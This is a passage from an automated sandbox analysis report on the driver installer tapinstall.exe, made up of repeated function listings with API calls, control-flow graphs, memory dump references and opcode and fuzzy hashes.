                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: FileHandleType
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3000768030-0
                                                                                                                  • Opcode ID: 2a7858ea0a20d78d229f8241a9e12833e585a3072b3a1a0811a3e501217574ad
                                                                                                                  • Instruction ID: a0eca723aad828c4de23a99c2b6656631282e30b16077900b75d3acc69d1843b
                                                                                                                  • Opcode Fuzzy Hash: 2a7858ea0a20d78d229f8241a9e12833e585a3072b3a1a0811a3e501217574ad
                                                                                                                  • Instruction Fuzzy Hash: E9316121A18B4681F7649F15A590179AA50FBC5BA0BA40339EB7F473F0CF7AE461D390
                                                                                                                  Function 00007FF7FEDD4770 Relevance: 3.1, APIs: 2, Instructions: 51windowCOMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 427 7ff7fedd4770-7ff7fedd47c5 FormatMessageW 428 7ff7fedd4811-7ff7fedd4817 427->428 429 7ff7fedd47c7-7ff7fedd47c9 427->429 430 7ff7fedd480b LocalFree 429->430 431 7ff7fedd47cb-7ff7fedd47ce 429->431 430->428 432 7ff7fedd47f6-7ff7fedd4801 call 7ff7fede6c8c 431->432 433 7ff7fedd47d0 431->433 438 7ff7fedd4806 432->438 434 7ff7fedd47d3-7ff7fedd47d6 433->434 436 7ff7fedd47de-7ff7fedd47f4 434->436 437 7ff7fedd47d8-7ff7fedd47db 434->437 436->432 436->434 437->436 438->430
                                                                                                                  APIs
                                                                                                                  • FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF7FEDD10DD), ref: 00007FF7FEDD47B7
                                                                                                                  • LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF7FEDD10DD), ref: 00007FF7FEDD480B
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: FormatFreeLocalMessage
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1427518018-0
                                                                                                                  • Opcode ID: faddade6f339ff3cc93d48928193cad67dc264e1d8a9395bb651df8655175f89
                                                                                                                  • Instruction ID: 75020eba3895f0d5ae1d2d23a2b72b0d8a6cb73c0ef739f9ff4fefec65387b03
                                                                                                                  • Opcode Fuzzy Hash: faddade6f339ff3cc93d48928193cad67dc264e1d8a9395bb651df8655175f89
                                                                                                                  • Instruction Fuzzy Hash: 64118B72A19B4481EB21DF11E44452DB3A5FFC8B90B958036CA6D47B94EF3EC895C790
                                                                                                                  Function 00007FF7FEDD8124 Relevance: 3.0, APIs: 2, Instructions: 23COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: __vcrt_initialize__vcrt_initialize_locks__vcrt_initialize_winapi_thunks__vcrt_uninitialize
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1882725809-0
                                                                                                                  • Opcode ID: 8f237d6502b14b0254a4c674743dae8b4da91eb28c515f3ea25adcbd20d46fa1
                                                                                                                  • Instruction ID: b7875c4663afbca706ae2c26ccce33e73b00f920be2d2dcedfc6987423c1a4bc
                                                                                                                  • Opcode Fuzzy Hash: 8f237d6502b14b0254a4c674743dae8b4da91eb28c515f3ea25adcbd20d46fa1
                                                                                                                  • Instruction Fuzzy Hash: DDE01A54E0D18358FF7A366524421B996900FDA744FC41479D8BE43AC3CD4E744D66B4
                                                                                                                  Function 00007FF7FEE17080 Relevance: 1.6, APIs: 1, Instructions: 67COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 77c9f455ae7dbfbf764ac100925fa24616ef860103a1a996772a9699631fd484
                                                                                                                  • Instruction ID: 5544c73c19dbfca853bd744a8c13486bb5df5e95dace0f60718a407b629d6e9c
                                                                                                                  • Opcode Fuzzy Hash: 77c9f455ae7dbfbf764ac100925fa24616ef860103a1a996772a9699631fd484
                                                                                                                  • Instruction Fuzzy Hash: 98218B62A0824246F7017F25B84136DAA50AFC5BB0FD54538EA2A077D3DFBCE48187A0
                                                                                                                  Function 00007FF7FEE0154C Relevance: 1.6, APIs: 1, Instructions: 53COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: HandleModule$AddressFreeLibraryProc
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3947729631-0
                                                                                                                  • Opcode ID: 9b5487346ef9f63116b54207664187879175fdd5b6014f44a2d1d5806b6a0d0e
                                                                                                                  • Instruction ID: d1592c0aac73829061d33c047e8262fe0680594dc8a926bb982be4a6cfb5618e
                                                                                                                  • Opcode Fuzzy Hash: 9b5487346ef9f63116b54207664187879175fdd5b6014f44a2d1d5806b6a0d0e
                                                                                                                  • Instruction Fuzzy Hash: 93216D32E04B018AFB51AF64E4802EC76A0FB84708F84463AD72E1ABC5DFB8D445CBD0
                                                                                                                  Function 00007FF7FEE0CE60 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3215553584-0
                                                                                                                  • Opcode ID: 29ed8d9b04594f7865511f83e8ab8f204f57b5d6501f11963fc871f8f78e5789
                                                                                                                  • Instruction ID: 15be9b81a458594a75dcde211c5ec1fff948acd14ccbf9acca69909ced0f9932
                                                                                                                  • Opcode Fuzzy Hash: 29ed8d9b04594f7865511f83e8ab8f204f57b5d6501f11963fc871f8f78e5789
                                                                                                                  • Instruction Fuzzy Hash: E2119D32A5864286F314AB54B48013AE6A4EFC4740F850135E76F57AE6DFBCE85287A1
                                                                                                                  Function 00007FF7FEDE6C8C Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3215553584-0
                                                                                                                  • Opcode ID: b1701a4419845fdea9b25c0b889f21a2cfcb31a46c6b6b47c9f4c5ea8d08c04c
                                                                                                                  • Instruction ID: f5889ac015a920c2a058fc2c205ded38ed0c10edde34ab71470b968148ad3c16
                                                                                                                  • Opcode Fuzzy Hash: b1701a4419845fdea9b25c0b889f21a2cfcb31a46c6b6b47c9f4c5ea8d08c04c
                                                                                                                  • Instruction Fuzzy Hash: 80F031B2A04B0198EB05AF60D8051EC77B4FB54398F904A31EA7D06A98EF78D155C6A1
                                                                                                                  Function 00007FF7FEE07978 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • HeapAlloc.KERNEL32(?,?,00000000,00007FF7FEE077C1,?,?,00000000,00007FF7FEE06B85,?,?,?,?,00007FF7FEDE6CA8), ref: 00007FF7FEE079CD
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: AllocHeap
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 4292702814-0
                                                                                                                  • Opcode ID: 3983c4821dd1e57c8f0338e38868bd111ba754eec4fe96f30a7891404f0fea4d
                                                                                                                  • Instruction ID: afb65d3cb9cbcbd238332ee4777fe383739084def01310810f3e02fcca68c12c
                                                                                                                  • Opcode Fuzzy Hash: 3983c4821dd1e57c8f0338e38868bd111ba754eec4fe96f30a7891404f0fea4d
                                                                                                                  • Instruction Fuzzy Hash: 31F06D40B0A20740FF5976A678513B5D6949FD8B80FCD8435CA6F863D1EEACE8A142B0

                                                                                                                  Non-executed Functions

                                                                                                                  Function 00007FF7FEDDB1FC Relevance: 172.4, APIs: 82, Strings: 16, Instructions: 883COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Name::operator+$Name::doPchar$Name::operator+=
                                                                                                                  • String ID: [thunk]:$`adjustor{$`local static destructor helper'$`template static data member constructor helper'$`template static data member destructor helper'$`vtordispex{$`vtordisp{$extern "C" $private: $protected: $public: $static $virtual ${flat}${for $}'
                                                                                                                  • API String ID: 2654205828-3103905019
                                                                                                                  • Opcode ID: 344dc4b9ba1a62ce6824673a4e2a2672d5d17c1497d6831b0eb881a8fb7f10fb
                                                                                                                  • Instruction ID: ed0674bcb92f2575f5f8fc6b28a10c961d316caa3f8b2378cde9b3fe244540df
                                                                                                                  • Opcode Fuzzy Hash: 344dc4b9ba1a62ce6824673a4e2a2672d5d17c1497d6831b0eb881a8fb7f10fb
                                                                                                                  • Instruction Fuzzy Hash: E382B772A1968296EB64EF24D4802FDB7A0FBC4348F805035EA5E87AD9DF7CD544C790
                                                                                                                  Function 00007FF7FEDD7030 Relevance: 40.5, APIs: 19, Strings: 4, Instructions: 255registryCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Setup$DeviceDriverInfoInstallParams$BuildCloseEnumListOpen
                                                                                                                  • String ID: DriverDesc$InfPath$InfSection$ProviderName
                                                                                                                  • API String ID: 1704563315-109328823
                                                                                                                  • Opcode ID: 470132caa0e5c2b1524e902dcaad2fd13110990853be0799e79165d4b753c384
                                                                                                                  • Instruction ID: fd686b310a948a3879cd0eb917d38e60ddf8f318ad5b69bb8135ce84aeefa6f4
                                                                                                                  • Opcode Fuzzy Hash: 470132caa0e5c2b1524e902dcaad2fd13110990853be0799e79165d4b753c384
                                                                                                                  • Instruction Fuzzy Hash: 0EB1B132A096828AFB319F61A4447BAB7A4FBC4B88FC04139DA6D43E94DF7CD509D750
                                                                                                                  Function 00007FF7FEE1A7C0 Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1207COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
                                                                                                                  • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                                                                                  • API String ID: 808467561-2761157908
                                                                                                                  • Opcode ID: 64e267bf78fb629f889f1a9ca02426a2b841f9d57b2607d640a5240c26589488
                                                                                                                  • Instruction ID: fd73251f08587027325fed9a92ad329b0c43c4a38a61f8b686f47fc3496a4b35
                                                                                                                  • Opcode Fuzzy Hash: 64e267bf78fb629f889f1a9ca02426a2b841f9d57b2607d640a5240c26589488
                                                                                                                  • Instruction Fuzzy Hash: 24B20772A081828AF7259E65E5407FDB7A1FBC4398F805135DA2B57BC4DF7CA980CB90
                                                                                                                  Function 00007FF7FEDD13E0 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 279COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Setup$ClassFromGuidsName$DestroyDeviceErrorInfoLastList
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1066883911-3916222277
                                                                                                                  • Opcode ID: 95c7f67f37713cc790260966e8adad9794b378fe7e5710a0f5457cdb6cacd70d
                                                                                                                  • Instruction ID: d3c7a8deb26547c53eda63109a8cbdcab3f30c23dd812bdd2c0eeb747f60aaca
                                                                                                                  • Opcode Fuzzy Hash: 95c7f67f37713cc790260966e8adad9794b378fe7e5710a0f5457cdb6cacd70d
                                                                                                                  • Instruction Fuzzy Hash: 0EB1B232B0864285EB24AF65E8402BAB3A5FBC4BA4F944236DE6D43BD4DF7CD405C790
                                                                                                                  Function 00007FF7FEE183E4 Relevance: 16.9, APIs: 8, Strings: 1, Instructions: 1132COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: memcpy_s$_invalid_parameter_noinfo
                                                                                                                  • String ID: s
                                                                                                                  • API String ID: 2880407647-453955339
                                                                                                                  • Opcode ID: 5bbfe94752329b1da8265bf6d51677381658838f21c0a74a2938933cdb4c1ac6
                                                                                                                  • Instruction ID: e3be213870759c6a292f0036a85b6550c1a0a047bebd2915d91e121daca9ab2d
                                                                                                                  • Opcode Fuzzy Hash: 5bbfe94752329b1da8265bf6d51677381658838f21c0a74a2938933cdb4c1ac6
                                                                                                                  • Instruction Fuzzy Hash: B9A20472A082C18BE7359E29E4406EDB795F7C4798F900235DB1B57BD4DB7CEA808B90
                                                                                                                  Function 00007FF7FEDD34B0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 83libraryloaderCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Library$AddressErrorFreeFullLastLoadNamePathProc
                                                                                                                  • String ID: SetupUninstallOEMInfW$setupapi.dll
                                                                                                                  • API String ID: 3805412813-3713901415
                                                                                                                  • Opcode ID: 07190c82b7a186e3b5898b35f52d877f32724abc198f9c48db99fcc8c26ec65d
                                                                                                                  • Instruction ID: 6db7c04f1b3d2de989723c8eaad28c68bdccbdcfc8e966d22342331f1029e972
                                                                                                                  • Opcode Fuzzy Hash: 07190c82b7a186e3b5898b35f52d877f32724abc198f9c48db99fcc8c26ec65d
                                                                                                                  • Instruction Fuzzy Hash: F7316D21A0C68682FB74AB10F85577AE291EFC4B44FC04039DA6E47BD5CF7CE84887A1
                                                                                                                  Function 00007FF7FEE1A070 Relevance: 15.4, APIs: 10, Instructions: 368COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: memcpy_s
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1502251526-0
                                                                                                                  • Opcode ID: ac952aa7c694147f99d3e4b40430f2bf787c9728cbc095bc21ac10cb0df3e7be
                                                                                                                  • Instruction ID: 767ced21bfd9428e6221df6bddbdab5ccb90dcda86ef8baed1d503790b43d94f
                                                                                                                  • Opcode Fuzzy Hash: ac952aa7c694147f99d3e4b40430f2bf787c9728cbc095bc21ac10cb0df3e7be
                                                                                                                  • Instruction Fuzzy Hash: DBE1C2727086828AEB34DF15E4046FDB7A0FB89798F805136DA1E47B84DB7DD941CB90
                                                                                                                  Function 00007FF7FEE0E0B0 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 434COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FEE0E0E0
                                                                                                                    • Part of subcall function 00007FF7FEE06A20: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7FEE069CD), ref: 00007FF7FEE06A29
                                                                                                                    • Part of subcall function 00007FF7FEE06A20: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7FEE069CD), ref: 00007FF7FEE06A4E
                                                                                                                  • _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FEE0E305
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo$CurrentFeaturePresentProcessProcessor
                                                                                                                  • String ID: *?
                                                                                                                  • API String ID: 1697365638-2564092906
                                                                                                                  • Opcode ID: 63c62522b583ab65492df3df2897c9d34e58fcc378565526384e87568434e7d9
                                                                                                                  • Instruction ID: 6d250a62fe99612f3806efd7ce123b68353f9479741bbdca53f5e40c9e7166e0
                                                                                                                  • Opcode Fuzzy Hash: 63c62522b583ab65492df3df2897c9d34e58fcc378565526384e87568434e7d9
                                                                                                                  • Instruction Fuzzy Hash: 58F1F462B1869181FF10EB66B8005AAA7A0FB84BD4F844535DFAF07BD4DFBCD44583A0
                                                                                                                  Function 00007FF7FEDD4D80 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 43shutdownCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
